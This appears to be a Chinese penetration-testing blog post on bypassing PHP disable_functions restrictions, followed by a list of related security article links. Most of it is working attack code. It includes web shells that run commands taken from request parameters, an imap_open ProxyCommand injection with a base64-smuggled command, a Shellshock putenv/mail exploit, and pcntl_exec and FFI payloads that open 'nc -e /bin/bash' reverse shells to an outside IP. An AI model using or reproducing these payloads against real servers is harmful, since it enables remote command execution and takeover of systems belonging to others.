WEB渗透Bypass篇-常规函数绕过

常规函数绕过
复制代码
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
复制代码
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
复制代码
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
复制代码
php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

复制代码
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
相关推荐
小小小小钰儿17 小时前
网络安全名词术语!
安全·web安全·计算机·网络安全·黑客·编程
数据知道21 小时前
BGP 劫持是怎么回事?运营商级路由安全科普
网络·安全·网络安全·智能路由器·bgp劫持
m0_738120721 天前
AI安全实战系列(四):Lab04 Multi-Agent——多智能体攻击分析
服务器·开发语言·人工智能·安全·网络安全·语言模型
NOVAnet20231 天前
SASE 架构如何为本地 DeepSeek 大模型提供全域网络安全支撑
web安全·安全架构·sd-wan·sase·零信任访问
NOVAnet20231 天前
云网 + 存储一体化灾备方案解析:南凌科技 × 爱数全景云灾备技术与行业落地价值
科技·web安全·企业数字化·企业sd-wan·混合云网络
Hiyajo pray2 天前
SDN 访问控制性能调优方法
服务器·网络·网络安全
数据知道2 天前
网络安全职业规划:从入门到高级安全工程师的路径图
安全·web安全·网络安全·渗透测试·职业规划
Gyr02 天前
关于证书站捡洞这一档事
安全·web安全
Sagittarius_A*2 天前
Web 渗透实战:服务器系统识别、端口与中间件全量探测
服务器·网络安全·中间件·渗透测试
网安蟹佬霸2 天前
我国网络安全人才缺口现状、成因与对策研究
安全·web安全